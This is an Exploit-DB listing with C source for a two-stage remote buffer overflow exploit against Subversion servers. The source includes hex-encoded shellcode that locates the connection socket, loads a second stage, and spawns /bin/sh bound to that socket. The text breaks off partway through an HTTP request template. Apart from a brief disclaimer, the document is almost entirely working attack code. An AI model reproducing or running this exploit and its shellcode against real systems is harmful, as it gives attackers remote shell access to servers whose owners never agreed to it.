Exploit-DB #4537
Description: Subversion 0.3.7/1.0.0 - Remote Buffer Overflow
Type: remote
Platform: linux
Date: 2005-05-03
Author: greuff

Exploit:
/*****************************************************************
 * hoagie_subversion.c
 *
 * Remote exploit against Subversion-Servers.
 *
 * Author: greuff <greuff@void.at>
 *
 * Tested on Subversion 1.0.0 and 0.37
 *
 * Algorithm:
 * This is a two-stage exploit. The first stage overflows a buffer
 * on the stack and leaves us ~60 bytes of machine code to be
 * executed. We try to find the socket-fd there and then do a 
 * read(2) on the socket. The exploit then sends the second stage
 * loader to the server, which can be of any length (up to the
 * obvious limits, of course). This second stage loader spawns 
 * /bin/sh on the server and connects it to the socket-fd.
 *
 * Credits:
 *    void.at
 *
 * THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-CONCEPT.
 * THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY DAMAGE OR
 * CRIMINAL ACTIVITIES DONE USING THIS PROGRAM.
 *
 *****************************************************************/

#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <fcntl.h>
#include <netdb.h>

enum protocol { SVN, SVNSSH, HTTP, HTTPS };

char stage1loader[]=
             // begin socket fd search
             "\x31\xdb"            // xor %ebx, %ebx
             "\x90"                // nop (UTF-8)
             "\x53"                // push %ebx
             "\x58"                // pop %eax
             "\x50"                // push %eax
             "\x5f"                // pop %edi                # %eax = %ebx = %edi = 0
             "\x2c\x40"            // sub $0x40, %al
             "\x50"                // push %eax
             "\x5b"                // pop %ebx
             "\x50"                // push %eax
             "\x5a"                // pop %edx                # %ebx = %edx = 0xC0
             "\x57"                // push %edi
             "\x57"                // push %edi               # safety-0
             "\x54"                // push %esp
             "\x59"                // pop %ecx                # %ecx = pointer to the buffer
             "\x4b"                // dec %ebx                # beginloop:
             "\x57"                // push %edi
             "\x58"                // pop %eax                # clear %eax
             "\xd6"                // salc (UTF-8)
             "\xb0\x60"            // movb $0x60, %al
             "\x2c\x44"            // sub $0x44, %al          # %eax = 0x1C
             "\xcd\x80"            // int $0x80               # fstat(i, &stat)
             "\x58"                // pop %eax
             "\x58"                // pop %eax
             "\x50"                // push %eax
             "\x50"                // push %eax
             "\x38\xd4"            // cmp %dl, %ah            # uppermost 2 bits of st_mode set?
             "\x90"                // nop (UTF-8)
             "\x72\xed"            // jb beginloop
             "\x90"                // nop (UTF-8)
             "\x90"                // nop (UTF-8)             # %ebx now contains the socket fd
             // begin read(2)
             "\x57"                // push %edi
             "\x58"                // pop %eax                # zero %eax
             "\x40"                // inc %eax
             "\x40"                // inc %eax
             "\x40"                // inc %eax                # %eax=3
             //"\x54"                // push %esp
             //"\x59"                // pop %ecx                # %ecx ... address of buffer
             //"\x54"                // push %edi
             //"\x5a"                // pop %edx                # %edx ... bufferlen (0xC0)
             "\xcd\x80"            // int $0x80               # read(2) second stage loader
             "\x39\xc7"            // cmp %eax, %edi
             "\x90"                // nop (UTF-8)
             "\x7f\xf3"            // jg startover
             "\x90"                // nop (UTF-8)
             "\x90"                // nop (UTF-8)
             "\x90"                // nop (UTF-8)
             "\x54"                // push %esp
             "\xc3"                // ret                     # execute second stage loader
             "\x90"                // nop (UTF-8)
             "\0"    // %ebx still contains the fd we can use in the 2nd stage loader.
             ;

char stage2loader[]=
             // dup2 - %ebx contains the fd
             "\xb8\x3f\x00\x00\x00"   // mov $0x3F, %eax
             "\xb9\x00\x00\x00\x00"   // mov $0x0, %ecx
             "\xcd\x80"               // int $0x80
             "\xb8\x3f\x00\x00\x00"   // mov $0x3F, %eax
             "\xb9\x01\x00\x00\x00"   // mov $0x1, %ecx
             "\xcd\x80"               // int $0x80
             "\xb8\x3f\x00\x00\x00"   // mov $0x3F, %eax
             "\xb9\x02\x00\x00\x00"   // mov $0x2, %ecx
             "\xcd\x80"               // int $0x80
             // start /bin/sh
             "\x31\xd2"               // xor %edx, %edx
             "\x52"                   // push %edx
             "\x68\x6e\x2f\x73\x68"   // push $0x68732f6e
             "\x68\x2f\x2f\x62\x69"   // push $0x69622f2f
             "\x89\xe3"               // mov %esp, %ebx
             "\x52"                   // push %edx
             "\x53"                   // push %ebx
             "\x89\xe1"               // mov %esp, %ecx
             "\xb8\x0b\x00\x00\x00"   // mov $0xb, %eax
             "\xcd\x80"               // int $0x80
             "\xb8\x01\x00\x00\x00"   // mov $0x1, %eax
             "\xcd\x80"               // int %0x80     (exit)
             ;

int stage2loaderlen=69;
             
char requestfmt[]=
"REPORT %s HTTP/1.1\n"
"Host: %s\n"
"User-Agent: SVN/0.37.0 (r8509) neon/0.24.4\n"
"Content-Le